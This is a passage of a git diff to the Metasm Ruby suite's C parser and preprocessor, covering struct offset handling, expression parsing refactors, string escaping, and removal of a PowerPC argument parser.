+ # XXX choose in members, check sizeof / prefer structs + m = @members.first + str << '.' << m.name if m.name + if m.type.respond_to?(:expand_member_offset) + m.type.expand_member_offset(c_parser, off, str) + else + m.type + end + end end class Struct < Union attr_accessor :pack @@ -373,14 +413,15 @@ module C def align(parser) [@members.to_a.map { |m| m.type.align(parser) }.max || 1, (pack || 8)].min end def offsetof(parser, name) - update_member_cache(parser) if not fldoffset + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return @fldoffset[name] if @fldoffset[name] + return @fldoffset[name.name] if name.respond_to?(:name) and @fldoffset[name.name] # this is almost never reached, only for .offsetof(anonymoussubstructmembername) - raise parser, 'undefined structure' if not @members raise parser, 'unknown structure member' if (name.kind_of?(::String) ? !findmember(name) : !@members.include?(name)) - indirect = true if name.kind_of? ::String and not @fldlist[name] + indirect = true if name.kind_of?(::String) and not @fldlist[name] al = align(parser) off = 0 @@ -390,8 +431,8 @@ module C @members.each_with_index { |m, i| if bits and b = @bits[i] if not isz - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal + mal = [m.type.align(parser), al].min + off = (off + mal - 1) / mal * mal end isz = parser.sizeof(m) if b == 0 or (bit_off > 0 and bit_off + b > 8*isz) @@ -409,14 +450,14 @@ module C end mal = [m.type.align(parser), al].min off = (off + mal - 1) / mal * mal - if m.name == name or m == name + if m.name == name or m == name break elsif indirect and m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) off += m.type.untypedef.offsetof(parser, name) break else - off += parser.sizeof(m) - end + off += parser.sizeof(m) + end end } off @@ -425,17 +466,28 @@ module C # returns the [bitoffset, bitlength] of the field if it is a bitfield # this should be added to the offsetof(field) def bitoffsetof(parser, name) - update_member_cache if not fldlist + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return @fldbitoffset[name] if fldbitoffset and @fldbitoffset[name] + return @fldbitoffset[name.name] if fldbitoffset and name.respond_to?(:name) and @fldbitoffset[name.name] return if @fldlist[name] or @members.include?(name) raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) + m.type.untypedef.kind_of?(Union) and m.type.untypedef.findmember(name) }.type.untypedef.bitoffsetof(parser, name) end + # returns the @member element that has offsetof(m) == off + def findmember_atoffset(parser, off) + return if not members + update_member_cache(parser) if not fldlist + if m = @fldoffset.index(off) + @fldlist[m] + end + end + def parse_members(parser, scope) super(parser, scope) @@ -445,8 +497,6 @@ module C @pack = p[/\d+/].to_i raise parser, "illegal struct pack(#{p})" if @pack == 0 end - - update_member_cache(parser) end # updates the @fldoffset / @fldbitoffset hash storing the offset of members @@ -492,6 +542,32 @@ module C end } end + + # see Union#expand_member_offset + def expand_member_offset(c_parser, off, str) + members.to_a.each { |m| + mo = offsetof(c_parser, m) + if mo == off or mo + c_parser.sizeof(m) > off + if bitoffsetof(c_parser, m) + # ignore bitfields + str << "+#{off}" if off > 0 + return self + end + + str << '.' << m.name if m.name + if m.type.respond_to?(:expand_member_offset) + return m.type.expand_member_offset(c_parser, off-mo, str) + else + return m.type + end + elsif mo > off + break + end + } + # XXX that works only for pointer-style str + str << "+#{off}" if off > 0 + nil + end end class Enum < Type # name => value @@ -534,6 +610,11 @@ module C parse_attributes(parser) end + def compare_deep(o) + return true if o.object_id == self.object_id + return if o.class != self.class or o.name != self.name or o.attributes != self.attributes + members == o.members + end end class Pointer < Type attr_accessor :type @@ -661,6 +742,17 @@ module C end idx + 1 end + + # see Union#expand_member_offset + def expand_member_offset(c_parser, off, str) + tsz = c_parser.sizeof(@type) + str << "[#{off/tsz}]" + if @type.respond_to?(:expand_member_offset) + @type.expand_member_offset(c_parser, off%tsz, str) + else + @type + end + end end class Variable @@ -857,7 +949,7 @@ module C when :space; body << ' ' when :eol; body << "\n" when :punct; body << tok.raw - when :quoted; body << tok.value.inspect # concat adjacent c strings + when :quoted; body << CExpression.string_inspect(tok.value) # concat adjacent c strings when :string body << \ case tok.raw @@ -900,7 +992,7 @@ module C break else body << tok.raw end - when :quoted; body << (body.empty? ? tok.value : tok.value.inspect) # asm "pop\nret" VS asm add al, 'z' + when :quoted; body << (body.empty? ? tok.value : CExpression.string_inspect(tok.value)) # asm "pop\nret" VS asm add al, 'z' when :string body << \ case tok.raw @@ -974,7 +1066,7 @@ module C raise "invalid CExpr #{[l, o, r, t].inspect}" if (o and not o.kind_of? ::Symbol) or not t.kind_of? Type @lexpr, @op, @rexpr, @type = l, o, r, t end - + # overwrites @lexpr @op @rexpr @type from the arg def replace(o) @lexpr, @op, @rexpr, @type = o.lexpr, o.op, o.rexpr, o.type @@ -1010,7 +1102,7 @@ module C else x2 = splat[args[2]] end - new(splat[args[0]], op, x2, args[3]) + new(splat[args[0]], op, x2, args[3]) when 3 op = args[1] x1 = splat[args[0]] @@ -1024,7 +1116,7 @@ module C when :funcall rt = x1.type.untypedef rt = rt.type.untypedef if rt.pointer? - new(x1, op, x2, rt.type) + new(x1, op, x2, rt.type) when :[]; new(x1, op, x2, x1.type.untypedef.type) when :+; new(x1, op, x2, (x2.type.pointer? ? x2.type : x1.type)) when :-; new(x1, op, x2, ((x1.type.pointer? and x2.type.pointer?) ? BaseType.new(:int) : x2.type.pointer? ? x2.type : x1.type)) @@ -1088,13 +1180,14 @@ module C attr_accessor :lexer, :toplevel, :typesize, :pragma_pack attr_accessor :endianness attr_accessor :allow_bad_c + attr_accessor :program # allowed arguments: ExeFormat, CPU, Preprocessor, Symbol (for the data model) def initialize(*args) model = args.grep(Symbol).first || :ilp32 lexer = args.grep(Preprocessor).first || Preprocessor.new - exe = args.grep(ExeFormat).first + @program = args.grep(ExeFormat).first cpu = args.grep(CPU).first - cpu ||= exe.cpu if exe + cpu ||= @program.cpu if @program @lexer = lexer @prev_pragma_callback = @lexer.pragma_callback @lexer.pragma_callback = lambda { |tok| parse_pragma_callback(tok) } @@ -1105,7 +1198,7 @@ module C :char => 1, :float => 4, :double => 8, :longdouble => 12 } send model cpu.tune_cparser(self) if cpu - exe.tune_cparser(self) if exe + @program.tune_cparser(self) if @program end def ilp16 @@ -1490,6 +1583,7 @@ EOH when Struct raise self, "unknown structure size #{type.name}" if not type.members al = type.align(self) + al = 1 if (var.kind_of?(Attributes) and var.has_attribute('sizeof_packed')) or type.has_attribute('sizeof_packed') lm = type.members.last lm ? (type.offsetof(self, lm) + sizeof(lm) + al - 1) / al * al : 0 when Union @@ -1680,6 +1774,7 @@ EOH Goto.new name when 'return' expr = CExpression.parse(self, scope) # nil allowed + raise tok || self, "cannot return #{expr} in function returning void" if expr and nest[0].kind_of?(Type) and nest[0].void? p, i = nest[0].pointer?, nest[0].integral? if expr r = expr.reduce(self) if p or i if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0) @@ -1747,6 +1842,7 @@ EOH end # returns all numeric constants defined with their value, either macros or enums + # for enums, also return the enum name def numeric_constants ret = [] # macros @@ -1756,8 +1852,17 @@ EOH end } # enums + seen_enum = {} + @toplevel.struct.each { |k, v| + if v.kind_of?(Enum) + v.members.each { |kk, vv| + ret << [kk, vv, k] + seen_enum[kk] = true + } + end + } @toplevel.symbol.each { |k, v| - ret << [k, v] if v.kind_of? ::Numeric + ret << [k, v] if v.kind_of?(::Numeric) and not seen_enum[k] } ret end @@ -1852,10 +1957,11 @@ EOH name = tok.raw raise tok, 'bad struct name' if Keyword[name] or (?0..?9).include?(name[0]) @type.backtrace = tok - @type.name = tok.raw + @type.name = name @type.parse_attributes(parser) raise parser if not ntok = parser.skipspaces if ntok.type != :punct or ntok.raw != '{' + raise tok, "struct/union confusion" if scope.struct[name] and scope.struct[name].class != @type.class # variable declaration parser.unreadtok ntok if ntok.type == :punct and ntok.raw == ';' @@ -1864,22 +1970,22 @@ EOH @type = scope.struct[name] ||= @type else # check that the structure exists - # do not check it is declared (may be a pointer) struct = scope.struct_ancestors[name] # allow incomplete types, usage as var type will raise later struct = scope.struct[name] = @type if not struct - raise tok, 'unknown struct' if not struct.kind_of?(@type.class) + raise tok, 'unknown struct' if struct.class != @type.class (struct.attributes ||= []).concat @type.attributes if @type.attributes - (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier + (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier # XXX const struct foo bar => bar is const, not foo... @type = struct end return end - if struct = scope.struct[name] and struct.members - oldstruct = scope.struct.delete(name) - struct = nil - end - if struct + if scope.struct[name] and scope.struct[name].members + # redefinition of an existing struct, save for later comparison + oldstruct = scope.struct[name] + raise tok, "struct/union confusion" if oldstruct.class != @type.class + elsif struct = scope.struct[name] + raise tok, "struct/union confusion" if struct.class != @type.class (struct.attributes ||= []).concat @type.attributes if @type.attributes (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier struct.backtrace = @type.backtrace @@ -1894,8 +2000,11 @@ EOH @type.parse_members(parser, scope) - if oldstruct and @type != oldstruct - raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" + if oldstruct + if not @type.compare_deep(oldstruct) + raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" + end + @type = oldstruct end end @@ -1906,7 +2015,10 @@ EOH name = :int tok = nil loop do - raise parser if not tok = parser.skipspaces + if not tok = parser.skipspaces + raise parser if specifier.empty? + break + end if tok.type != :string parser.unreadtok tok break @@ -2120,6 +2232,8 @@ EOH raise parser, '"{" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '{' parser.unreadtok tok end + namedargs = t.type.args.map { |a| a.name }.compact - [false] + raise tok, "duplicate argument name #{namedargs.find { |a| namedargs.index(a) != namedargs.rindex(a) }.inspect}" if namedargs.length != namedargs.uniq.length end parse_attributes(parser, true) # should be type.attrs, but this should be more existing-compiler-compatible else @@ -2210,12 +2324,13 @@ EOH else l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer - CExpression.new(l, @op, r, @type) + CExpression.new(l, @op, r, @type) end when :'.' le = CExpression.reduce(parser, @lexpr) if le.kind_of? Variable and le.initializer.kind_of? ::Array - midx = le.type.members.index(le.type.findmember(@rexpr)) + t = le.type.untypedef + midx = t.members.index(t.findmember(@rexpr)) CExpression.reduce(parser, le.initializer[midx] || 0) else CExpression.new(le, @op, @rexpr, @type) @@ -2253,7 +2368,7 @@ EOH end else l = CExpression.reduce(parser, @lexpr) - if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) + if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer return CExpression.new(l, @op, r, @type) @@ -2296,7 +2411,7 @@ EOH o.object_id == self.object_id or (self.class == o.class and op == o.op and lexpr == o.lexpr and rexpr == o.rexpr) end - + def ===(o) (self.class == o.class and op == o.op and lexpr === o.lexpr and rexpr === o.rexpr) or (o.class == Variable and not @op and @rexpr == o) @@ -2309,7 +2424,7 @@ EOH end def negate if @op == :'!' - CExpression[@rexpr] + CExpression[@rexpr] elsif nop = NegateOp[@op] if nop == :== and @rexpr.kind_of? CExpression and not @rexpr.op and @rexpr.rexpr == 0 and @lexpr.kind_of? CExpression and [:==, :'!=', :>, :<, :>=, :<=, :'!'].include? @lexpr.op @@ -2477,6 +2592,7 @@ EOH type = :long if suffix.count('l') == 1 end val = CExpression[val, BaseType.new(type, *specifier)] + val = parse_value_postfix(parser, scope, val) else raise parser, "internal error #{val.inspect}" end @@ -2484,6 +2600,7 @@ EOH if tok.raw[0] == ?' raise tok, 'invalid character constant' if not [1, 2, 4, 8].include? tok.value.length # TODO 0fill val = CExpression[Expression.decode_imm(tok.value, tok.value.length, :big), BaseType.new(:int)] + val = parse_value_postfix(parser, scope, val) else val = CExpression[tok.value, Pointer.new(BaseType.new(tok.raw[0, 2] == 'L"' ? :short : :char))] val = parse_value_postfix(parser, scope, val) @@ -2683,97 +2800,110 @@ EOH end end + def parse_popstack(parser, stack, opstack) + r = stack.pop + l = stack.pop + case op = opstack.pop + when :'?:' + stack << CExpression.new(stack.pop, op, [l, r], l.type) + when :',' + stack << CExpression.new(l, op, r, r.type) + when :'=' + unless r.kind_of?(CExpression) and not r.lexpr and r.type.kind_of?(BaseType) and + ((not r.op and r.rexpr.kind_of?(Integer)) or + (r.op == :- and r.rexpr.kind_of?(CExpression) and not r.rexpr.op and not r.rexpr.lexpr and r.rexpr.rexpr.kind_of?(Integer))) and + l.kind_of?(Typed) and (l.type.untypedef.kind_of?(BaseType) or (l.type.untypedef.kind_of?(Pointer) and r.rexpr == 0)) + # avoid useless warnings on unsigned foo = -1 / void *foo = 0 + parser.check_compatible_type(parser, r.type, l.type) + end + if l.kind_of?(Typed) and (lt = l.type.untypedef).kind_of?(BaseType) and r.kind_of?(Typed) and (rt = r.type.untypedef).kind_of?(BaseType) and lt.specifier != :unsigned and rt.specifier == :unsigned and parser.typesize[lt.name] > parser.typesize[rt.name] + # (int32)i = (uchar)255 => 255, not -1 + r = CExpression.new(nil, nil, r, BaseType.new(lt.name, :unsigned)) + end + stack << CExpression.new(l, op, r, l.type) + when :'&&', :'||' + stack << CExpression.new(l, op, r, BaseType.new(:int)) + else + # XXX struct == struct ? + raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c + raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c + + if l.type.pointer? and r.type.pointer? + type = \ + case op + when :'-'; BaseType.new(:long) # addr_t or sumthin ? + when :'-='; l.type + when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) + else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type + end + elsif l.type.pointer? or r.type.pointer? + puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op + type = l.type.pointer? ? l.type : r.type + elsif RIGHTASSOC[op] and op != :'?:' # += etc + type = l.type + else + # yay integer promotion + lt = l.type.untypedef + rt = r.type.untypedef + if (t = lt).name == :longdouble or (t = rt).name == :longdouble or + (t = lt).name == :double or (t = rt).name == :double or + (t = lt).name == :float or (t = rt).name == :float + # long double > double > float ... + type = t + elsif true + # custom integer rules based on type sizes + lts = parser.typesize[lt.name] + rts = parser.typesize[rt.name] + its = parser.typesize[:int] + if not lts or not rts + type = BaseType.new(:int) + elsif lts > rts and lts >= its + type = lt + elsif rts > lts and rts >= its + type = rt + elsif lts == rts and lts >= its + type = lt + type = rt if rt.specifier == :unsigned + else + type = BaseType.new(:int) + end + # end of custom rules + elsif ((t = lt).name == :long and t.specifier == :unsigned) or + ((t = rt).name == :long and t.specifier == :unsigned) + # ... ulong ... + type = t + elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or + (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) + # long+uint => ulong + type = BaseType.new(:long, :unsigned) + elsif (t = lt).name == :long or (t = rt).name == :long or + ((t = lt).name == :int and t.specifier == :unsigned) or + ((t = rt).name == :int and t.specifier == :unsigned) + # ... long > uint ... + type = t + else + # int + type = BaseType.new(:int) + end + end + + case op + when :'>', :'>=', :'<', :'<=', :'==', :'!=' + # cast both sides + l = CExpression[l, type] if l.type != type + r = CExpression[r, type] if r.type != type + stack << CExpression.new(l, op, r, BaseType.new(:int)) + else + # promote result + stack << CExpression.new(l, op, r, type) + end + end + end + def parse(parser, scope, allow_coma = true) opstack = [] stack = [] - popstack = lambda { - r, l = stack.pop, stack.pop - case op = opstack.pop - when :'?:' - stack << CExpression.new(stack.pop, op, [l, r], l.type) - when :',' - stack << CExpression.new(l, op, r, r.type) - when :'=' - parser.check_compatible_type(parser, r.type, l.type) - stack << CExpression.new(l, op, r, l.type) - when :'&&', :'||' - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # XXX struct == struct ? - raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c - raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c - - if l.type.pointer? and r.type.pointer? - type = \ - case op - when :'-'; BaseType.new(:long) # addr_t or sumthin ? - when :'-='; l.type - when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) - else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type - end - elsif l.type.pointer? or r.type.pointer? - puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op - type = l.type.pointer? ? l.type : r.type - else - # yay integer promotion - lt = l.type.untypedef - rt = r.type.untypedef - if (t = lt).name == :longdouble or (t = rt).name == :longdouble or - (t = lt).name == :double or (t = rt).name == :double or - (t = lt).name == :float or (t = rt).name == :float - # long double > double > float ... - type = t - elsif true - # custom integer rules based on type sizes - lts = parser.typesize[lt.name] - rts = parser.typesize[rt.name] - its = parser.typesize[:int] - if not lts or not rts - type = BaseType.new(:int) - elsif lts > rts and lts >= its - type = lt - elsif rts > lts and rts >= its - type = rt - elsif lts == rts and lts >= its - type = lt - type = rt if rt.specifier == :unsigned - else - type = BaseType.new(:int) - end - # end of custom rules - elsif ((t = lt).name == :long and t.specifier == :unsigned) or - ((t = rt).name == :long and t.specifier == :unsigned) - # ... ulong ... - type = t - elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or - (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) - # long+uint => ulong - type = BaseType.new(:long, :unsigned) - elsif (t = lt).name == :long or (t = rt).name == :long or - ((t = lt).name == :int and t.specifier == :unsigned) or - ((t = rt).name == :int and t.specifier == :unsigned) - # ... long > uint ... - type = t - else - # int - type = BaseType.new(:int) - end - end - - case op - when :'>', :'>=', :'<', :'<=', :'==', :'!=' - # cast both sides - l = CExpression[l, type] if l.type != type - r = CExpression[r, type] if r.type != type - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # promote result - stack << CExpression.new(l, op, r, type) - end - end - } - return if not e = parse_value(parser, scope) stack << e @@ -2783,7 +2913,7 @@ EOH when :'?' # a, b ? c, d : e, f == a, (b ? (c, d) : e), f until opstack.empty? or OP_PRIO[opstack.last][:'?:'] - popstack[] + parse_popstack(parser, stack, opstack) end stack << parse(parser, scope) raise op || parser, '":" expected' if not op = readop(parser) or op.value != :':' @@ -2798,7 +2928,7 @@ EOH break end until opstack.empty? or OP_PRIO[op.value][opstack.last] - popstack[] + parse_popstack(parser, stack, opstack) end end @@ -2808,7 +2938,7 @@ EOH end until opstack.empty? - popstack[] + parse_popstack(parser, stack, opstack) end CExpression[stack.first] @@ -2830,16 +2960,19 @@ EOH # stroff is the offset from the start of this string (non-nul for nested structs) # cp is a reference to the C::Parser # struct to the C::Union/Struct/Array - # length is the byte size of the C struct - # XXX for an Array, it's also the byte size, check obj.struct.length for number of elements - attr_accessor :str, :stroff, :cp, :struct, :length + # sizeof is the byte size of the C struct + attr_accessor :str, :stroff, :cp, :struct + attr_writer :sizeof def initialize(cp, struct, str=nil, stroff=0) @cp, @struct = cp, struct - @length = @cp.sizeof(@struct) - @str = str || [0].pack('C')*@length + @str = str || [0].pack('C')*sizeof @stroff = stroff end + def sizeof + @sizeof ||= @cp.sizeof(@struct) + end + def [](*a) if @struct.kind_of? C::Array and a.length == 1 and @struct.length and a[0].kind_of? Integer i = a[0] @@ -2897,9 +3030,10 @@ EOH end a, val = a - raise "#{a.inspect} not a struct member" if not a.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) - a = f.name if a.kind_of? String or a.kind_of? Symbol - val = @length if val == :size + f = a + raise "#{a.inspect} not a struct member" if not f.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) + a = f.name || f + val = sizeof if val == :size off = @stroff + @struct.offsetof(@cp, a) if bf = @struct.bitoffsetof(@cp, a) @@ -2932,14 +3066,14 @@ EOH def to_s(off=nil, maxdepth=500) return '{ /* ... */ }' if maxdepth <= 0 str = [''] - if @struct.kind_of? C::Array + if @struct.kind_of?(C::Array) str.last << "#{@struct.type} x[#{@struct.length}] = " if not off mlist = (0...@struct.length) fldoff = mlist.inject({}) { |h, i| h.update i => i*@cp.sizeof(@struct.type) } - elsif @struct.kind_of? C::Struct + elsif @struct.kind_of?(C::Struct) str.last << "struct #{@struct.name || '_'} x = " if not off + @struct.update_member_cache(@cp) if not @struct.fldlist fldoff = @struct.fldoffset - fbo = @struct.fldbitoffset || {} mlist = @struct.members.map { |m| m.name || m } else str.last << "union #{@struct.name || '_'} x = " if not off @@ -2947,7 +3081,7 @@ EOH end str.last << '{' mlist.each { |k| - if k.kind_of? C::Variable # anonymous member + if k.kind_of? Variable # anonymous member curoff = off.to_i + @struct.offsetof(@cp, k) val = self[k] k = '?' @@ -2955,7 +3089,7 @@ EOH curoff = off.to_i + (fldoff ? fldoff[k].to_i : 0) val = self[k] end - if val.kind_of? Integer + if val.kind_of?(::Integer) if val >= 0x100 val = '0x%X, // +%x' % [val, curoff] elsif val <= -0x100 @@ -2971,7 +3105,7 @@ EOH val = val.to_s.sub(/$/, ', // +%x' % curoff) end val = val.gsub("\n", "\n\t") - str << "\t#{k.kind_of?(Integer) ? "[#{k}]" : ".#{k}"} = #{val}" + str << "\t#{k.kind_of?(::Integer) ? "[#{k}]" : ".#{k}"} = #{val}" } str << '}' str.last << (off ? ',' : ';') @@ -3170,8 +3304,7 @@ EOH all = @toplevel.struct.values + @toplevel.symbol.values all -= all.grep(::Integer) # Enum values - r, dep = @toplevel.dump_reorder(all, todo_rndr, todo_deps) - r.join("\n") + @toplevel.dump_reorder(all, todo_rndr, todo_deps)[0].join("\n") end # returns a string containing the C definition(s) of toplevel functions, with their dependencies @@ -3750,7 +3883,7 @@ EOH r.last << 'asm ' r.last << 'volatile ' if @volatile r.last << '(' - r.last << @body.inspect + r.last << CExpression.string_inspect(@body) if @output or @input or @clobber if @output and @output != [] # TODO @@ -3768,13 +3901,18 @@ EOH end end if @clobber and @clobber != [] - r << (': ' << @clobber.map { |c| c.inspect }.join(', ')) + r << (': ' << @clobber.map { |c| CExpression.string_inspect(c) }.join(', ')) end r.last << ');' [r, dep] end end class CExpression + def self.string_inspect(s) + # keep all ascii printable except \ and " + '"' + s.gsub(/[^ !\x23-\x5b\x5d-\x7e]/) { |o| '\\x' + o.unpack('H*').first } + '"' + end + def self.dump(e, scope, r=[''], dep=[], brace = false) if $DEBUG brace = false @@ -3787,7 +3925,7 @@ EOH r, dep = \ case e when ::Numeric; r.last << e.to_s ; [r, dep] - when ::String; r.last << e.inspect ; [r, dep] + when ::String; r.last << string_inspect(e) ; [r, dep] when CExpression; e.dump_inner(scope, r, dep, brace) when Variable; e.dump(scope, r, dep) when nil; [r, dep] @@ -3832,7 +3970,7 @@ EOH end when ::String r.last << 'L' if @type.kind_of? Pointer and @type.type.kind_of? BaseType and @type.type.name == :short - r.last << @rexpr.inspect + r.last << CExpression.string_inspect(@rexpr) when CExpression # cast r, dep = @type.dump_cast(scope, r, dep) r, dep = CExpression.dump(@rexpr, scope, r, dep, true) @@ -3866,7 +4004,7 @@ EOH l = lexpr.lexpr.type.pointed.untypedef.findmember(lexpr.rexpr) if lexpr.kind_of? CExpression and lexpr.op == :'->' # honor __attribute__((indexenum(enumname))) if l and l.attributes and rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr.kind_of? ::Integer and - n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) + n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) r.last << i dep |= [enum] else diff --git a/lib/metasm/metasm/ppc/parse.rb b/lib/metasm/metasm/ppc/parse.rb deleted file mode 100644 index 0ec1025fb6..0000000000 --- a/lib/metasm/metasm/ppc/parse.rb +++ /dev/null @@ -1,52 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/opcodes' -require 'metasm/parse' - -module Metasm -class PowerPC -# TODO - def parse_arg_valid?(op, sym, arg) - # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) - case sym - when :rs, :rt, :rd; arg.kind_of? Reg - when :sa, :i16, :i20, :i26; arg.kind_of? Expression - when :rs_i16; arg.kind_of? Memref - when :ft; arg.kind_of? FpReg - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.nexttok - if tok.type == :string and Reg.s_to_i[tok.raw] - pgm.readtok - arg = Reg.new Reg.s_to_i[tok.raw] - elsif tok.type == :string and FpReg.s_to_i[tok.raw] - pgm.readtok - arg = FpReg.new FpReg.s_to_i[tok.raw] - else - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] - base = Reg.new Reg.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - end - arg - end -end -end diff --git a/lib/metasm/metasm/preprocessor.rb b/lib/metasm/metasm/preprocessor.rb index 899f707210..842f4ad8bf 100644 --- a/lib/metasm/metasm/preprocessor.rb +++ b/lib/metasm/metasm/preprocessor.rb @@ -84,7 +84,7 @@ class Preprocessor # modifies the list, returns an array of list of tokens/nil # handles nesting def self.parse_arglist(lexer, list=nil) - readtok = lambda { list ? list.shift : lexer.readtok(false) } + readtok = lambda { list ? list.shift : lexer.readtok_nopp } unreadtok = lambda { |t| list ? (list.unshift(t) if t) : lexer.unreadtok(t) } tok = nil unreadlist = [] @@ -378,6 +378,7 @@ class Preprocessor # hash filename => file content attr_accessor :hooked_include attr_accessor :warn_redefinition + attr_accessor :may_preprocess # global default search directory for #included @@include_search_path = ['/usr/include'] @@ -385,18 +386,14 @@ class Preprocessor def self.include_search_path=(np) @@include_search_path=np end def initialize(text='') - @queue = [] @backtrace = [] @definition = %w[__FILE__ __LINE__ __COUNTER__ __DATE__ __TIME__].inject({}) { |h, n| h.update n => SpecialMacro.new(n) } @include_search_path = @@include_search_path.dup # stack of :accept/:discard/:discard_all/:testing, represents the current nesting of #if..#endif @ifelse_nesting = [] - @text = text - @pos = 0 - @filename = 'unknown' - @lineno = 1 @warn_redefinition = true @hooked_include = {} + @may_preprocess = false @pragma_once = {} @pragma_callback = lambda { |otok| tok = otok @@ -405,6 +402,7 @@ class Preprocessor unreadtok tok puts otok.exception("unhandled pragma #{str.inspect}").message if $VERBOSE } + feed!(text) define '__METASM__', VERSION end @@ -493,11 +491,16 @@ class Preprocessor def feed!(text, filename='unknown', lineno=1) raise ArgumentError, 'need something to parse!' if not text @text = text + if not @may_preprocess and (@text =~ /^\s*(#|\?\?=)/ or (not @definition.empty? and + @text =~ /#{@definition.keys.map { |k| Regexp.escape(k) }.join('|')}/)) + @may_preprocess = true + end # @filename[-1] used in trace_macros to distinguish generic/specific files @filename = "\"#{filename}\"" @lineno = lineno @pos = 0 @queue = [] + @backtrace = [] self end @@ -512,7 +515,7 @@ class Preprocessor # reads one character from self.text # updates self.lineno - # handles trigraphs and \-continued lines + # handles \-continued lines def getchar @ungetcharpos = @pos @ungetcharlineno = @lineno @@ -520,11 +523,11 @@ class Preprocessor @pos += 1 # check trigraph - if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] - puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE - c = Trigraph[@text[@pos+1]] - @pos += 2 - end + #if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] + # puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE + # c = Trigraph[@text[@pos+1]] + # @pos += 2 + #end # check line continuation # TODO portability @@ -567,9 +570,9 @@ class Preprocessor end # calls readtok_nopp and handles preprocessor directives - def readtok(expand_macros = true) - lastpos = @pos + def readtok tok = readtok_nopp + return tok if not @may_preprocess # shortcut if not tok # end of file: resume parent @@ -579,32 +582,41 @@ class Preprocessor tok = readtok end - elsif (tok.type == :eol or lastpos == 0) and @ifelse_nesting.last != :testing - unreadtok tok if lastpos == 0 - # detect preprocessor directive - # state = 1 => seen :eol, 2 => seen # + elsif tok.type == :punct and tok.raw == '#' and not tok.expanded_from and @ifelse_nesting.last != :testing + # backward check for :eol (skip the '#' itself) + pos = @pos-2 + while pos >= 0 # if reach start of file, proceed + case @text[pos, 1] + when "\n" + pos -= 1 if pos > 0 and @text[pos-1] == ?\r + return tok if pos > 0 and @text[pos-1] == ?\\ # check if the newline was a line-continuation + return tok if pos > 2 and @text[pos-3, 3] == '??/' # trigraph + break # proceed + when /\s/ # beware switch order, this matches "\n" too + else return tok # false alarm + end + pos -= 1 + end pretok = [] rewind = true - state = 1 - loop do - pretok << (ntok = readtok_nopp) - break if not ntok + while ntok = readtok_nopp + pretok << ntok if ntok.type == :space # nothing - elsif state == 1 and ntok.type == :punct and ntok.raw == '#' and not ntok.expanded_from - state = 2 - elsif state == 2 and ntok.type == :string and not ntok.expanded_from + next + elsif ntok.type == :string and 